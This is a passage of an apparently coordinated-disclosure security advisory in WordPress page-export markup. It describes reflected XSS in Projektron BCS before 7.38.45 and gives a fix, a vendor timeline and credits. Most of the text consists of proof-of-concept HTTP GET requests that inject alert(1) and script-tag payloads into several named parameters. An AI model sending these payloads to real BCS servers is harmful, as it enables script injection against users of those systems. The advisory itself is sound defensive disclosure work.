\n
The \u201aeditor\u2018, \u201aoidnamefield\u2018 and \u201aoidfield\u2018 parameters of \/bcs\/eventdeputydetail are vulnerable to XSS<\/p>\n<\/div>\n
[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]GET \/bcs\/multioidselection\/*\/display?_pcc_typ_=JUserGroup%2520JOU%2520JUser&_pcc_mode_=Target&editor=TokenInput39390'%3balert(1)%2f%2f152&oidfield=eventdetail%2Csupporter%2Csupporter&oidnamefield=eventdetail%2Csupporter%2Csupporter_entitynames&transactionId=1503060134184-40619437911778866 HTTP\/1.1<\/p>\n
GET \/bcs\/multioidselection\/*\/display?_pcc_typ_=JUserGroup%2520JOU%2520JUser&_pcc_mode_=Target&editor=TokenInput&oidfield=eventdetail%2csupporter%2csupporter51042'%3balert(1)%2f%2f430&oidnamefield=eventdetail%2Csupporter%2Csupporter_entitynames&transactionId=1503060134184-40619437911778866 HTTP\/1.1<\/p>\n
GET \/bcs\/multioidselection\/*\/display?_pcc_typ_=JUserGroup%2520JOU%2520JUser&_pcc_mode_=Target&editor=TokenInput&oidfield=eventdetail%2Csupporter%2Csupporter&oidnamefield=eventdetail%2csupporter%2csupporter_entitynames14437'%3balert(1)%2f%2f761&transactionId=1503060134184-40619437911778866 HTTP\/1.1<\/code><\/pre>\n
[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n
Second Proof of Concept<\/span><\/h3>\nThe \u201adescription\u2018, \u201aInitialApplyButtonsOnError\u2018 and \u201aHighlightedApplyButtonsOnError\u2018 parameters of \/bcs\/eventdeputydetail are vulnerable to XSS<\/p>\n
[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]GET \/bcs\/eventdeputydetail\/main\/edit?eventdetail%2C__componentTitleComposed=true&eventdetail%2Cformsubmitted=true&eventdetail%2CData_FirstOnPage=eventdetail&eventdetail%2Cdialog_group_visible_attributes=true&eventdetail%2CSettings%2CSettingsDefinitions%2Cattributetoggle_name=true&eventdetail%2C%21attributetoggle_name=true&eventdetail%2CSettings%2CSettingsDefinitions%2Cattributetoggle_appointmentUser=true&eventdetail%2C%21attributetoggle_appointmentUser=true&eventdetail%2CSettings%2CSettingsDefinitions%2Cattributetoggle_appointmentStart=true&eventdetail%2C%21attributetoggle_appointmentStart=true&eventdetail%2CSettings%2CSettingsDefinitions%2Cattributetoggle_appointmentEnd=true&eventdetail%2C%21attributetoggle_appointmentEnd=true&eventdetail%2C%21attributetoggle_eventDuration=true&eventdetail%2CSettings%2CSettingsDefinitions%2Cattributetoggle_deputiesAndToInform=true&eventdetail%2C%21attributetoggle_deputiesAndToInform=true&eventdetail%2CSettings%2CSettingsDefinitions%2Cattributetoggle_subtyp=true&eventdetail%2C%21attributetoggle_subtyp=true&eventdetail%2CSettings%2CSettingsDefinitions%2Cattributetoggle_state=true&eventdetail%2C%21attributetoggle_state=true&eventdetail%2CSettings%2CSettingsDefinitions%2Cattributetoggle_workloadHandling=true&eventdetail%2C%21attributetoggle_workloadHandling=true&eventdetail%2CSettings%2CSettingsDefinitions%2Cattributetoggle_description=true&eventdetail%2C%21attributetoggle_description=true&eventdetail%2Csettings_dialog_opened=false&eventdetail%2Cfilters_has_unapplied_changes=false&eventdetail%2CData_FirstOnPage=eventdetail&eventdetail%2Cname%2Cname=Stellvertretung&eventdetail%2CappointmentStart%2CappointmentStart_date%2CappointmentStart_date=17.08.2017&eventdetail%2CappointmentStart%2CappointmentStart=y&eventdetail%2CappointmentEnd%2CappointmentEnd_date%2CappointmentEnd_date=17.08.2017&eventdetail%2CappointmentEnd%2CappointmentEnd=y&eventdetail%2CdeputiesAndToInform%2CdeputiesAndToInform=%7B%22JAppointmentRef%22%3A%5B%7B%22relatedOid%22%3A%221051012826131_JUser%22%2C%22token_id%22%3A%221051012826131_JUser%22%2C%22is_new%22%3A%22true%22%2C%22eventReferenceTyp%22%3A%22Guest%22%7D%5D%7D&eventdetail%2CdeputiesAndToInform%2CdeputiesAndToInform_search=&eventdetail%2CdeputiesAndToInform%2CdeputiesAndToInform_editortype=TokenInput&eventdetail%2Cdescription%2Cdescription=rv1x4%3cscript%3ealert(1)%3c%2fscript%3eq6ayqxxghok&eventdetail%2Coid=NEW_CREATED_OBJECT_JAppointment&eventdetail%2CData_SuppressLastHorizontalLine=false&eventdetail%2Cedit_form_data_submitted=true&new_entity_init_attributes%2Ctyp=JAppointment&new_entity_init_attributes%2CappointmentEnd=2017-08-17T00%3A00%3A00%2B02%3A00&oid=1502784743839_JAppointment&action%2CSaveAction%2Ceventdetail=0&new_entity_init_attributes%2CappointmentStart=2017-08-17T00%3A00%3A00%2B02%3A00&pageentity_is_new=true&user=Entwickler2&new_entity_init_attributes%2Csubtyp=deputy&pagetimestamp=1502976689686&transactionId=1502976689702-6759310571525836&new_entity_init_attributes%2CappointmentUser=1051012826131_JUser&new_entity_init_attributes%2Coid=1502784743839_JAppointment&ConfirmDiscardChangesDialog%2CInitialApplyButtonsOnError=eventdetail%2CApply&PageForm%2CformChangedIndicator=true&PageForm%2CHighlightedApplyButtonsOnError=eventdetail%2CApply&eventdetail%2CApply=eventdetail%2CApply&submitButtonPressed=eventdetail%2CApply HTTP\/1.1<\/p>\n
GET \/bcs\/eventdeputydetail\/main\/edit?eventdetail%2C__componentTitleComposed=true&eventdetail%2Cformsubmitted=true&eventdetail%2CData_FirstOnPage=eventdetail&eventdetail%2Cdialog_group_visible_attributes=true&eventdetail%2CSettings%2CSettingsDefinitions%2Cattributetoggle_name=true&eventdetail%2C%21attributetoggle_name=true&eventdetail%2CSettings%2CSettingsDefinitions%2Cattributetoggle_appointmentUser=true&eventdetail%2C%21attributetoggle_appointmentUser=true&eventdetail%2CSettings%2CSettingsDefinitions%2Cattributetoggle_appointmentStart=true&eventdetail%2C%21attributetoggle_appointmentStart=true&eventdetail%2CSettings%2CSettingsDefinitions%2Cattributetoggle_appointmentEnd=true&eventdetail%2C%21attributetoggle_appointmentEnd=true&eventdetail%2C%21attributetoggle_eventDuration=true&eventdetail%2CSettings%2CSettingsDefinitions%2Cattributetoggle_deputiesAndToInform=true&eventdetail%2C%21attributetoggle_deputiesAndToInform=true&eventdetail%2CSettings%2CSettingsDefinitions%2Cattributetoggle_subtyp=true&eventdetail%2C%21attributetoggle_subtyp=true&eventdetail%2CSettings%2CSettingsDefinitions%2Cattributetoggle_state=true&eventdetail%2C%21attributetoggle_state=true&eventdetail%2CSettings%2CSettingsDefinitions%2Cattributetoggle_workloadHandling=true&eventdetail%2C%21attributetoggle_workloadHandling=true&eventdetail%2CSettings%2CSettingsDefinitions%2Cattributetoggle_description=true&eventdetail%2C%21attributetoggle_description=true&eventdetail%2Csettings_dialog_opened=false&eventdetail%2Cfilters_has_unapplied_changes=false&eventdetail%2CData_FirstOnPage=eventdetail&eventdetail%2Cname%2Cname=Stellvertretung&eventdetail%2CappointmentStart%2CappointmentStart_date%2CappointmentStart_date=17.08.2017&eventdetail%2CappointmentStart%2CappointmentStart=y&eventdetail%2CappointmentEnd%2CappointmentEnd_date%2CappointmentEnd_date=17.08.2017&eventdetail%2CappointmentEnd%2CappointmentEnd=y&eventdetail%2CdeputiesAndToInform%2CdeputiesAndToInform=%7B%22JAppointmentRef%22%3A%5B%7B%22relatedOid%22%3A%221051012826131_JUser%22%2C%22token_id%22%3A%221051012826131_JUser%22%2C%22is_new%22%3A%22true%22%2C%22eventReferenceTyp%22%3A%22Guest%22%7D%5D%7D&eventdetail%2CdeputiesAndToInform%2CdeputiesAndToInform_search=&eventdetail%2CdeputiesAndToInform%2CdeputiesAndToInform_editortype=TokenInput&eventdetail%2Cdescription%2Cdescription=&eventdetail%2Coid=NEW_CREATED_OBJECT_JAppointment&eventdetail%2CData_SuppressLastHorizontalLine=false&eventdetail%2Cedit_form_data_submitted=true&new_entity_init_attributes%2Ctyp=JAppointment&new_entity_init_attributes%2CappointmentEnd=2017-08-17T00%3A00%3A00%2B02%3A00&oid=1502784743839_JAppointment&action%2CSaveAction%2Ceventdetail=0&new_entity_init_attributes%2CappointmentStart=2017-08-17T00%3A00%3A00%2B02%3A00&pageentity_is_new=true&user=Entwickler2&new_entity_init_attributes%2Csubtyp=deputy&pagetimestamp=1502976689686&transactionId=1502976689702-6759310571525836&new_entity_init_attributes%2CappointmentUser=1051012826131_JUser&new_entity_init_attributes%2Coid=1502784743839_JAppointment&ConfirmDiscardChangesDialog%2CInitialApplyButtonsOnError=eventdetail%2cApply76429'%3balert(1)%2f%2f411vxq6nz&PageForm%2CformChangedIndicator=true&PageForm%2CHighlightedApplyButtonsOnError=eventdetail%2CApply&eventdetail%2CApply=eventdetail%2CApply&submitButtonPressed=eventdetail%2CApply HTTP\/1.1<\/p>\n
GET \/bcs\/eventdeputydetail\/main\/edit?eventdetail%2C__componentTitleComposed=true&eventdetail%2Cformsubmitted=true&eventdetail%2CData_FirstOnPage=eventdetail&eventdetail%2Cdialog_group_visible_attributes=true&eventdetail%2CSettings%2CSettingsDefinitions%2Cattributetoggle_name=true&eventdetail%2C%21attributetoggle_name=true&eventdetail%2CSettings%2CSettingsDefinitions%2Cattributetoggle_appointmentUser=true&eventdetail%2C%21attributetoggle_appointmentUser=true&eventdetail%2CSettings%2CSettingsDefinitions%2Cattributetoggle_appointmentStart=true&eventdetail%2C%21attributetoggle_appointmentStart=true&eventdetail%2CSettings%2CSettingsDefinitions%2Cattributetoggle_appointmentEnd=true&eventdetail%2C%21attributetoggle_appointmentEnd=true&eventdetail%2C%21attributetoggle_eventDuration=true&eventdetail%2CSettings%2CSettingsDefinitions%2Cattributetoggle_deputiesAndToInform=true&eventdetail%2C%21attributetoggle_deputiesAndToInform=true&eventdetail%2CSettings%2CSettingsDefinitions%2Cattributetoggle_subtyp=true&eventdetail%2C%21attributetoggle_subtyp=true&eventdetail%2CSettings%2CSettingsDefinitions%2Cattributetoggle_state=true&eventdetail%2C%21attributetoggle_state=true&eventdetail%2CSettings%2CSettingsDefinitions%2Cattributetoggle_workloadHandling=true&eventdetail%2C%21attributetoggle_workloadHandling=true&eventdetail%2CSettings%2CSettingsDefinitions%2Cattributetoggle_description=true&eventdetail%2C%21attributetoggle_description=true&eventdetail%2Csettings_dialog_opened=false&eventdetail%2Cfilters_has_unapplied_changes=false&eventdetail%2CData_FirstOnPage=eventdetail&eventdetail%2Cname%2Cname=Stellvertretung&eventdetail%2CappointmentStart%2CappointmentStart_date%2CappointmentStart_date=17.08.2017&eventdetail%2CappointmentStart%2CappointmentStart=y&eventdetail%2CappointmentEnd%2CappointmentEnd_date%2CappointmentEnd_date=17.08.2017&eventdetail%2CappointmentEnd%2CappointmentEnd=y&eventdetail%2CdeputiesAndToInform%2CdeputiesAndToInform=%7B%22JAppointmentRef%22%3A%5B%7B%22relatedOid%22%3A%221051012826131_JUser%22%2C%22token_id%22%3A%221051012826131_JUser%22%2C%22is_new%22%3A%22true%22%2C%22eventReferenceTyp%22%3A%22Guest%22%7D%5D%7D&eventdetail%2CdeputiesAndToInform%2CdeputiesAndToInform_search=&eventdetail%2CdeputiesAndToInform%2CdeputiesAndToInform_editortype=TokenInput&eventdetail%2Cdescription%2Cdescription=&eventdetail%2Coid=NEW_CREATED_OBJECT_JAppointment&eventdetail%2CData_SuppressLastHorizontalLine=false&eventdetail%2Cedit_form_data_submitted=true&new_entity_init_attributes%2Ctyp=JAppointment&new_entity_init_attributes%2CappointmentEnd=2017-08-17T00%3A00%3A00%2B02%3A00&oid=1502784743839_JAppointment&action%2CSaveAction%2Ceventdetail=0&new_entity_init_attributes%2CappointmentStart=2017-08-17T00%3A00%3A00%2B02%3A00&pageentity_is_new=true&user=Entwickler2&new_entity_init_attributes%2Csubtyp=deputy&pagetimestamp=1502976689686&transactionId=1502976689702-6759310571525836&new_entity_init_attributes%2CappointmentUser=1051012826131_JUser&new_entity_init_attributes%2Coid=1502784743839_JAppointment&ConfirmDiscardChangesDialog%2CInitialApplyButtonsOnError=eventdetail%2CApply&PageForm%2CformChangedIndicator=true&PageForm%2CHighlightedApplyButtonsOnError=eventdetail%2cApply11494'%3balert(1)%2f%2f133etp0ac&eventdetail%2CApply=eventdetail%2CApply&submitButtonPressed=eventdetail%2CApply HTTP\/1.1<\/p>\n
GET \/bcs\/eventdeputydetail\/main\/edit?eventdetail%2C__componentTitleComposed=true&eventdetail%2Cformsubmitted=true&eventdetail%2CData_FirstOnPage=eventdetail&eventdetail%2Cdialog_group_visible_attributes=true&eventdetail%2CSettings%2CSettingsDefinitions%2Cattributetoggle_name=true&eventdetail%2C%21attributetoggle_name=true&eventdetail%2CSettings%2CSettingsDefinitions%2Cattributetoggle_appointmentUser=true&eventdetail%2C%21attributetoggle_appointmentUser=true&eventdetail%2CSettings%2CSettingsDefinitions%2Cattributetoggle_appointmentStart=true&eventdetail%2C%21attributetoggle_appointmentStart=true&eventdetail%2CSettings%2CSettingsDefinitions%2Cattributetoggle_appointmentEnd=true&eventdetail%2C%21attributetoggle_appointmentEnd=true&eventdetail%2C%21attributetoggle_eventDuration=true&eventdetail%2CSettings%2CSettingsDefinitions%2Cattributetoggle_deputiesAndToInform=true&eventdetail%2C%21attributetoggle_deputiesAndToInform=true&eventdetail%2CSettings%2CSettingsDefinitions%2Cattributetoggle_subtyp=true&eventdetail%2C%21attributetoggle_subtyp=true&eventdetail%2CSettings%2CSettingsDefinitions%2Cattributetoggle_state=true&eventdetail%2C%21attributetoggle_state=true&eventdetail%2CSettings%2CSettingsDefinitions%2Cattributetoggle_workloadHandling=true&eventdetail%2C%21attributetoggle_workloadHandling=true&eventdetail%2CSettings%2CSettingsDefinitions%2Cattributetoggle_description=true&eventdetail%2C%21attributetoggle_description=true&eventdetail%2Csettings_dialog_opened=false&eventdetail%2Cfilters_has_unapplied_changes=false&eventdetail%2CData_FirstOnPage=eventdetail&eventdetail%2Cname%2Cname=Stellvertretung&eventdetail%2CappointmentStart%2CappointmentStart_date%2CappointmentStart_date=17.08.2017&eventdetail%2CappointmentStart%2CappointmentStart=y&eventdetail%2CappointmentEnd%2CappointmentEnd_date%2CappointmentEnd_date=17.08.2017&eventdetail%2CappointmentEnd%2CappointmentEnd=y&eventdetail%2CdeputiesAndToInform%2CdeputiesAndToInform=%7B%22JAppointmentRef%22%3A%5B%7B%22relatedOid%22%3A%221051012826131_JUser%22%2C%22token_id%22%3A%221051012826131_JUser%22%2C%22is_new%22%3A%22true%22%2C%22eventReferenceTyp%22%3A%22Guest%22%7D%5D%7D&eventdetail%2CdeputiesAndToInform%2CdeputiesAndToInform_search=&eventdetail%2CdeputiesAndToInform%2CdeputiesAndToInform_editortype=TokenInput&eventdetail%2Cdescription%2Cdescription=rv1x4%3cscript%3ealert(1)%3c%2fscript%3eq6ayqxxghok&eventdetail%2Coid=NEW_CREATED_OBJECT_JAppointment&eventdetail%2CData_SuppressLastHorizontalLine=false&eventdetail%2Cedit_form_data_submitted=true&new_entity_init_attributes%2Ctyp=JAppointment&new_entity_init_attributes%2CappointmentEnd=2017-08-17T00%3A00%3A00%2B02%3A00&oid=1502784743839_JAppointment&action%2CSaveAction%2Ceventdetail=0&new_entity_init_attributes%2CappointmentStart=2017-08-17T00%3A00%3A00%2B02%3A00&pageentity_is_new=true&user=Entwickler2&new_entity_init_attributes%2Csubtyp=deputy&pagetimestamp=1502976689686&transactionId=1502976689702-6759310571525836&new_entity_init_attributes%2CappointmentUser=1051012826131_JUser&new_entity_init_attributes%2Coid=1502784743839_JAppointment&ConfirmDiscardChangesDialog%2CInitialApplyButtonsOnError=eventdetail%2CApply&PageForm%2CformChangedIndicator=true&PageForm%2CHighlightedApplyButtonsOnError=eventdetail%2CApply&eventdetail%2CApply=eventdetail%2CApply&submitButtonPressed=eventdetail%2CApply HTTP\/1.1<\/code><\/pre>\n
[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n
\n
\n
Fix<\/h3>\n
Make sure to encode the user supplied input.<\/span><\/p>\n<\/h3>\nTimeline<\/h3>\n\n- 2017-09-15 \u2013 First contact request<\/li>\n
- 2017-09-19 Vendor accepts all reported issues<\/li>\n
- 2018-04-06 Vendor provides a new release 7.38.45<\/li>\n
- 2018-06-06 Security advisory released<\/li>\n<\/ul>\n
<\/h3>\nCredits<\/h3>\n
These security vulnerabilities were found by Stefan Schmer of usd AG.<\/span><\/p>\n<\/div>\n<\/div>\n[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"
usd-2018-0018 | Projektron BCS\/ All versions before 7.38.45 Advisory ID: usd-2018-0018CVE Number: N\/AAffected Product: Projektron BCSAffected Version: All versions before 7.38.45Vulnerability Type: Reflected XSSSecurity Risk: HighVendor URL: https:\/\/www.projektron.de\/bcs\/Vendor Status: Fixed Description Reflected XSS attack (or non-persistent attack) occur when a malicious script is reflected off of a web application to the victim\u2019s browser. The […]<\/p>\n","protected":false},"author":96,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-16559","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16559","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/96"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=16559"}],"version-history":[{"count":0,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16559\/revisions"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=16559"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}